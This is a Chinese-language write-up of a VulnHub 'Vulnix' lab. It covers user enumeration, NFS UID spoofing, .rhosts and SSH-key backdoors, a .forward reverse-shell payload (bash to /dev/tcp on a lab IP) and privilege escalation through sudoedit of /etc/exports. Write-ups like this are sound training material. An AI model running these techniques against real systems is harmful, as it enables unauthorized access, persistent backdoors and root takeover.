HackLAB: Vulnix
项目地址:https://download.vulnhub.com/hacklab/Vulnix.7z
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

敏感信息泄露
SMTP 用户枚举(CVE-1999-0531)
SMTP 是电子邮件传输的标准协议。它定义了一系列命令用于邮件交换
探测出该靶机支持 VRFY 命令功能
1 | VRFY <username> |
- 目的:验证指定用户名/邮箱地址是否为有效用户
- 响应:
250 <username>或250 <user@domain>- 用户存在550 5.1.1 <user>... User unknown- 用户不存在252 2.1.5 Cannot VRFY user- 服务器无法验证(可能是配置了保护)
1 | # 连接到 SMTP 服务器 |
1 | smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.202.158 |

Finger 协议用户枚举
该协议主要目的是查询系统用户信息,促进协作和联系
1 | # 基本连接 |
返回信息可能包括
1 | Login: root Name: System Administrator |
1 | import socket |

弱口令
SSH
1 | user:letmein |

RCE
NFS 挂载
扫描发现靶机有 NFS 网络文件系统,先看看共享了哪些文件

首先,在本地建立挂载点并把对方的 /home/vulnix 搬过来
1 | mkdir -p /mnt/vulnix_target |
但是挂载后查看没有权限

查看具体的权限发现在当前的 NFS 映射下,我们虽然挂载了目录,但由于本地 root 用户被映射成了远端的匿名用户,我们甚至无法进入这个目录

UID 欺骗 + 利用 no_root_squash
/etc/exports 是 NFS 服务器端的配置文件。它决定了服务器上的哪个目录可以被共享,以及谁能访问、以什么权限访问
如果目标的 /etc/exports 配置了 no_root_squash,但你在挂载时被识别为 nobody,通常是因为挂载参数或 NFS 版本协商问题
我们可以尝试强制使用 NFS version 3 挂载,因为 v3 协议在权限校验上比 v4 更加“宽松”,且不强制要求 ID 映射守护进程
NFSv3 处理权限的方式很简单:客户端发一个数字(UID/GID,比如 0 代表 root),服务器直接信任这个数字
NFSv4 为了安全性和域管理,默认不再直接信任客户端发来的数字,而是通过 ID 映射 将用户名(字符串)转换为 UID
它的作用机制是:
如果客户端上的用户叫 root(UID 0),服务器上认为的超级用户也叫 root(UID 0),但中间需要守护进程来确认“这两个名字是同一个身份”
如果目标目录属于远端的 vulnix 用户,而 vulnix 的 UID 是 1001,那么只要我在 Kali 本地创建一个 UID 也是 1001 的用户,我就能以属主身份读写该目录
1 | umount /mnt/vulnix_target |
我们成功绕过了 NFSv4 严格的 ID 映射机制

现在只需要在我的 Kali 机器上“变身”成 UID 2008 的用户,就能以属主身份对这个共享目录拥有读、写、执行的完整权限
1 | useradd -u 2008 pwn_user |

思路一:写入 SSH 公钥
此时,我以 pwn_user 的身份执行操作,由于 UID 匹配,目标 NFS 服务会认为我就是原主
1 | # 生成密钥对(在 pwn_user 权限下) |
思路二:利用 .rhosts 绕过认证 (513/tcp)
rlogin 是一个早期的 UNIX 远程登录协议(类似于 telnet),监听在 513/tcp 端口
它的设计基于”信任主机”模型,这在现代安全环境下被认为是极度脆弱的
.rhosts文件位于用户家目录 (~/.rhosts)- 格式:
hostname username - 功能:允许来自指定主机的指定用户无需密码直接登录
- 示例文件内容如下
1 | trusted.host.example.com alice |
最后一行 + + 表示允许任何主机上的任何用户
修改靶机文件内容
1 | echo "+ +" > .rhosts |

思路三:.forward 邮件后门
当邮件到达用户邮箱时,如果存在 .forward 文件,会按文件内容处理邮件
准备反弹 Shell 脚本
1 | bash -i >& /dev/tcp/192.168.159.129/4444 0>&1 |
设置权限
1 | echo 'bash -i >& /dev/tcp/192.168.159.129/4444 0>&1' > /mnt/vulnix_target/.forward |
通过 SMTP 手动交互触发脚本
1 | telnet 192.168.159.131 25 |
提权
/etc/exports
查看权限发现有个 /etc/exports 可以以 sudoedit 调用且不需要密码

修改文件内容
1 | sudoedit /etc/exports |

最后强制服务生效的命令没用
1 | exportfs -a |
只能重启靶机了,重新挂载以 root 身份进去
1 | mkdir /mnt/root_pwn |

尝试修改密码文件

提权成功
